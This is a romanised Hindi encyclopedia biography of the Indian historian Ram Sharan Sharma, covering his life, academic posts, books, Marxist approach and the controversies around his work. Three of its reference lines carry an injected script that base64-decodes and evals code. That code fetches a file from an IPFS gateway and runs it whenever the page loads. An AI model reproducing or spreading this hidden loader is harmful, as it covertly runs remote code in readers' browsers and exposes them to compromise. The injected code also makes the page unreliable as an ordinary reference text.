राम शरण शर्मा
ram sharan sharma
| |
| poora nam | ram sharan sharma |
| janm | 26 navambar, 1919 |
| janm bhoomi | begusaray, bihar |
| mrityu | 20 agast, 2011 |
| mrityu sthan | patana |
| karm bhoomi | bharat |
| karm-kshetr | itihas aur shiksha |
| bhasha | hindi, aangrezi |
| vidyalay | 'patana k aaulej', bihar; 'skool aauf orieantal eand aphrikan stadij', landan |
| shiksha | em.e., piechadi |
| puraskar-upadhi | 'kempvel memoriyal gold medal samman', 'hemachand rayachaudhari janmashatabdi svarn padak samman', 'di lit' |
| prasiddhi | itihasakar |
| vishesh yogadan | sharmaji ne itihas lekhan ke kshetr mean amooly yogadan dekar use samriddh banaya. unaki itihas ki rachanaean uchch star ki pratiyogi parikshaoan mean mahattvapoorn sthan rakhati haian. |
| nagarikata | bharatiy |
| any janakari | 'patana vishvavidyalay' mean padhate hue ram sharan sharma ne apani pahali kitab 'vishv sahity ki bhoomika' hindi mean likhi thi. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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ram sharan sharma (aangrezi: Ram Sharan Sharma; janm- 26 navambar, 1919, begusaray, bihar; mrityu- 20 agast, 2011, patana) bharat ke prasiddh itihasakar aur shikshavid the. ve samaj ko hakikat se ru-b-ru karane vale, antarashtriy khyatiprapt bharatiy itihasakaroan mean se ek the. ram sharan sharma 'bharatiy itihas' ko vanshavadi kathaoan se mukt kar samajik aur arthik itihas lekhan ki prakriya ki shuruat karane valoan mean gine jate the. varsh 1970 ke dashak mean 'dilli vishvavidyalay' ke itihas vibhag ke din ke roop mean prophesar ar. es. sharma ke karyakal ke dauran vibhag ka vyapak vistar kiya gaya tha. vibhag mean adhikaansh padoan ki rachana ka shrey bhi prophesar sharma ke prayasoan ko hi diya jata hai.
janm tatha shiksha
ram sharan sharma ka janm 26 navambar, 1919 ee. ko bihar (british bharat) ke begusaray zile ke barauni phlaig gaanv ke ek nirdhan parivar mean hua tha.[1] yah ilaka samriddh kheti ke sath-sath 'bharatiy kamyunist parti' ke netritv mean samantavad virodhi sangharsh ke lie bhi jana jata tha. ise log "bihar ka leninagrad" kahate the. inake ghar ki arthik sthiti achchhi nahian thi. ram sharan sharma ke dada aur pita barauni dyodi vale ke yahaan chakari karate the. inake pita ko apani roji-roti ke lie kafi sangharsh karana p da tha. pita ne b di mushkil se apane putr ki maitrik tak ki shiksha ki vyavastha ki thi. ram sharan sharma prarambh se hi medhavi chhatr rahe the aur apani buddhimatta se ve lagatar chhatravritti prapt karate rahe. yahaan tak ki apani shiksha mean sahayog ke lie unhoanne niji tyooshan bhi padhaee. unhoanne 1937 mean apani maitrik ki pariksha uttirn ki aur 'patana k aaulej' mean dakhila liya. yahaan unhoanne iantaramidiet se lekar snatakottar kakshaoan mean chh: varshoan tak adhyayan kiya aur varsh 1943 mean itihas mean em.e. ki digri prapt ki. ram sharan sharma ne piechadi ki upadhi 'landan vishvavidyalay' ke 'skool aauf orieantal eand aphrikan stadij' se prophesar arthar levelin baisham ke adhin poorn ki thi.
itihas lekhan
'patana vishvavidyalay' mean padhate hue ram sharan sharma ne apani pahali kitab 'vishv sahity ki bhoomika' hindi mean likhi. ek nayi drishti ke bavajood yah pustak chhatropayogi hi adhik thi. vastavik yati aur itihasakar ke roop mean manyata unhean tab mili, jab ve san 1954-1956 ke dauran adhyayan avakash lekar landan ke 'skool aauf orieantal aiand aphrikan stadiz' mean gaye aur landan vishvavidyalay se hi 1956 mean piechadi ki upadhi prapt ki.[2] itihas ke jane-mane lekhak ram sharan sharma ne pandrah bhashaoan mean sau se bhi adhik kitabean likhian. unaki likhi gayi prachin itihas ki kitabean desh ki uchch shiksha mean kafi ahamiyat rakhati haian. prachin itihas se jo dakar har sam-samayik ghatanaoan ko jo dakar dekhane mean sharma ji ko maharath hasil thi. ramasharan sharma ke dvara likhi gayi pustak "prachin bharat ke itihas" ko padhakar chhatr 'sangh lok seva ayog' jaisi pratishthit parikshaoan ki taiyari karate haian.
uchch padoan par kary
ram sharan sharma aise pahale bharatiy itihasakar the, jinhoanne puratatvik anusandhanoan se prapt sakshyoan ko apane lekhan ka adhar banaya aur vaidik aur any prachin granthoan aur bhasha vijnan ki sthapanaoan se use yatha sanbhav sanpusht karane ki koshish ki. san 1969 mean unhean neharoo pheloship mili thi. 'patana vishvavidyalay' ke itihas vibhag ke pramukh banane ke bad ram sharan sharma ne 1970 ke dashak mean 'dilli vishvavidyalay' ke itihas vibhag ke din ke roop kam kiya. ve 1972 se 1977 tak 'bharatiy aitihasik anusandhan parishad'[3] ke sansthapak adhyaksh bhi rahe the. ram sharan sharma ne 'toranto vishvavidyalay' mean bhi adhyapan kary kiya. ve 'landan vishvavidyalay' ke 'skool aauf orieantal eand aphrikan stadiz' mean ek siniyar phelo, vishvavidyalay anudan ayog ke neshanal phelo aur 1975 mean 'iandiyan histri kaangres' ke adhyaksh bhi rah chuke the.[4]
rachanaean
ram sharan sharma ne itihas lekhan ke kshetr mean apana amooly yogadan dekar use samriddh banaya. unaki itihas ki rachanaean uchch star ki pratiyogi parikshaoan mean mahattvapoorn sthan rakhati haian. ram sharan sharma ki kuchh pramukh rachanaean nimnalikhit haian-
| rachana | varsh |
|---|---|
| 'ary evan h dappa sanskritiyoan ki bhinnata'[4] | |
| 'bharatiy samantavad' | |
| 'shoodroan ka prachin itihas' | |
| 'prachin bharat mean rajanitik vichar evan sansthaean | |
| 'bharat ke prachin nagaroan ka itihas' | |
| 'aryoan ki khoj' | |
| 'praranbhik madhyakalin bharatiy samaj: samantikaran ka ek adhyayan' | |
| 'kamyunal histri eand rama'j ayodhya' | |
| 'vishv itihas ki bhoomika'[1] | 1951-52 |
| 'sam ikanamikal espekts aauf d kast sistam in eanshieant iandiya' | 1951 |
| 'rol aauf proparti eand kast in d orijin aauf d stet in eanshieant iandiya' | 1951-52 |
| 'shudraj in enasieant iandiya evan aspekts aauf aidiyaz eand ianstityooshan in eanshieant iandiya' | 1958 |
| 'aspekts aauf politikal aidiyaj eand ianstichyooshan in eanshieant iandiya' | 1959 |
| 'iandiyan phayoodalijam' | 1965 |
| 'rol aauf ayaran in orijin aauf buddhijm' | 1968 |
| 'prachin bharat ke paksh mean' | 1978 |
| 'meteriyal kalchar eand soshal pharmeshan in eanshieant iandiya' | 1983 |
| 'parsapektivs in soshal eand ikonaumikal histri aauf arli iandiya' | 1983 |
| 'arban dike in iandiya-300 edi se 1000 edi' | 1987 |
| 'saanpradayik itihas aur ram ki ayodhya' | 1990-91 |
| 'rashtr ke nam itihasakaroan ki rapat' | 1991 |
| 'lookiang ph aaur d aryans' | 1995 |
| 'eplayad saianses eand teknolaji' | 1996 |
| 'edaveant aauf d aryans in iandiya' | 1999 |
| 'arli medieval iandiyan sosaiti:e stadi in phyoodalaeejeshan' | 2001 |
marksavad ka adhyayan
ram sharan sharma kisi bhi rajanitik dal ke sadasy nahian the, kintu marksavad ka adhyayan, chiantan, manan inake pramukh karyoan mean se ek tha, jisaka sidha prabhav unake lekhan mean dekhane ko milata hai. 'bharatiy itihas' ke lekhan mean 1940 mean prakashit 'adhe bharatiy evan adhe svidish', british kamyunist parti ke sachiv rajani pam datt ki 'pustak iandiya tude', 1956 mean damodar dharmanand kosambi ki 'en iantrodakshan too d stadi aauf idiyan histri' evan 1958 mean ramasharan sharma ki 'shudraj in enasieant iandiya' aur 'aspekts aauf aidiyaz eand ianstityooshan in eanshieant iandiya' evan 1965 mean iraphan habib ki aurangazeb ki kattar dharmikata par keandrit 'd agreriyan sistam aauf mugals' adi pustakoan ko 'bharatiy itihas' ko marksavadi prabhav ke paripeksh mean dekhane ka ek saphal prayas ke roop mean mana jata hai, jisaki purazor sthapana san 1965 prakashit ramasharan sharma ki pustak 'iandiyan phyoodalijm' se ho jati hai, aisa kee itihasakaroan ka manana hai.[1]
vivad
ram sharan sharma ki rachana "prachin bharat" ko krishna ki aitihasikata aur mahabharat mahakavy ki ghatanaoan ki alochana ke lie 1978 mean janata parti sarakar ki or se pratibandhit kar diya gaya tha. ayodhya ke vivad par bhi unhoanne bahut kuchh likha tha, jisako lekar desh bhar mean bahas chhi d gayi thi. varsh 2002 ke gujarat dangoan ko yuvaoan ki samajh badhane ke lie 'samajik roop se prasangik vishay' batate hue ise vidyalay ke pathyakram mean shamil karane ka samarthan kiya tha. yah unaki tippani hi thi, jab enasieearati ne gujarat ke dangoan aur ayodhya vivad ko 1984 ke sikkh virodhi dangoan ke sath barahavi kaksha ki rajaniti vijnan ki pustakoan mean shamil karane ka phaisala kiya, jisaka tark yah diya gaya ki in ghatanaoan ne ajadi ke bad desh mean rajanitik prakriya ko prabhavit kiya tha.[4]
apane shodh prabandhan 'shoodraj in eanshieant iandiya' ke prakashit hote hi ram sharan sharma charcha mean a gaye the. unhoanne aise samay mean vanchitoan ka itihas likha, jab 'sabaltarn' ki avadharana samane nahian ayi thi. 'shoodroan ka prachin itihas' ke alava unhoanne age chalakar 'prachin bharat mean rajanitik vichar evan sansthaean', 'bharat ke prachin nagaroan ka patan' aur 'prachin bharat mean bhautik pragati aur samajik sanrachanaean' jaisi pustakean likhian, jinamean naye-naye puratatvik anusandhanoan ke adhar par apani avadharana ko vistar diya gaya tha. san 1964 mean 'kalakatta vishvavidyalay' mean unhoanne 'bharatiy samantavad' par chhah vyakhyan diye the, jo 1965 mean 'iandiyan phyoodalijm' nam se aangrezi mean prakashit hue. tab is pustak ka kafi virodh hua aur unake samakalin itihasakaroan mean se ek harabans mukhiya ne likha ki bharat mean kisi prakar ka samantavad tha hi nahian, yahaan ke kisan shuroo se hi svatantr the. isake bad vamapanthi itihasakaroan ke do kheme ho gaye. bad ke sabaltarn itihasakaroan ne sthiti aur spasht kar di. prophesar sharma ne san 1996 mean prakashit pustak 'poorv madhyakalin bharat ka samanti samaj aur sanskriti' mean apane virodhiyoan ko karara javab bhi diya. yah pustak likhi to gayi thi aangrezi mean, kiantu chhapi pahale hindi mean. usake ek sal pahale hi unaki mool hindi mean likhi doosari pustak 'ary sanskriti ki khoj' ayi thi, jisamean unhoanne aryoan ke moolatah bharatiy hone ke bhram ka nivaran kiya tha. san 1999 mean isi shrriankhala mean ek aur kitab ayi 'bharat mean aryoan ka agaman'.[2]
vyaktitv
itihasakar ram sharan sharma ke ghar ke daravaze kisi bhi jijnasoo aur jnanapipasu ke lie sadaiv khule rahate the. ve svayan bhi logoan se milane-julane, unase bat karane ka koee mauka nahian chukate the. subah tahalane ke lie bhi zara der se jate the. kisi park ya koee sunasan jagah ke vajay bhi dabha d vali s dakoan ka chayan karate, jahaan vo ghoomate-tahalate logoan se batachit bhi karate rahate. videsh se lautate to maze aur sair-sapatoan ke kissoan ke bajay vahaan ke avam ke kisse unaki zaban par hote the. ve kitabi nahian, balki ek sakriy itihasakar the, jinhean apat kal, babari maszid vidhvansh, narasanharoan jaisi ghatanaean pareshan karati thi. janata ko pragatishil chetana se susajit karana unake chiantan ka pramukh vishay hota tha. ve apane samajik dayitvoan ke prati jagarook aur ek karmath shikshavid the. unaka saf manana tha ki samaj sudhar ke karyoan ya samajik samasyaoan aur usake samadhan ki gatividhiyoan mean sanlagn shikshavid hi samaj ke lie kuchh kar rahean haian, anyatha samaj ko unase kya labh.
puraskar v samman
- bharat shastriyoan ko diya jane vala sarvottam 'kempvel memoriyal gold medal samman'
- eshiyatik sosayati, kolakata dvara 'hemachand rayachaudhari janmashatabdi svarn padak samman'
- saranath ke 'uchchatar tibbati anusandhan sansthan' evan 'vardhaman vishvavidyalay' dvara 'di lit' upadhi
- muanbee ki eshiyatik sosayati dvara svarn padak
nidhan
ek itihasakar aur shikshavid ke roop mean prasiddhi prapt karane vale ram sharan sharma ka nidhan 20 agast, 2011 ko patana, bihar mean hua. apane tarah ki soch vale itihasakaroan ko badhava dene, vaidik paramparaoan ko anadekha karane, hindi ke bajay aangrezi mean apane lekhan kary ko aanjam dene sahit kee arop sharma ji par lage the, lekin is saty se kisi ka koee iankar nahian ho sakata ki ve bharat ke un itihasakaroan mean se ek the, jinhoanne itihasakaroan ko khud ne, tarkik v vaijnanik tarike se sochana sikhaya. sath hi ye bhi bataya ki itihas ka arth keval biti huee kahani kahana nahian hota. itihas athava itihas lekhan ka karm matr rajavansh, yuddh aur bharatiy samrajy ka itihas matr nahian hai. itihasakar yah ehasas karean ki itihas ka vishay yah bhi hai ki itihas ke ve sabak kya haian, jinake sahare aj ki chunautiyoan ka samana kalpanashilata aur soojhaboojh ke sath kiya ja sake.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 samajik parivartan ka itihasakar (hindi). . abhigaman tithi: 25 mee, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 vanchitoan ke itihasakar (hindi). . abhigaman tithi: 25 mee, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ iandiyan kauansil aauph historikal risarch
- ↑ 4.0 4.1 4.2 ram sharan sharma ka nidhan (hindi). . abhigaman tithi: 25 mee, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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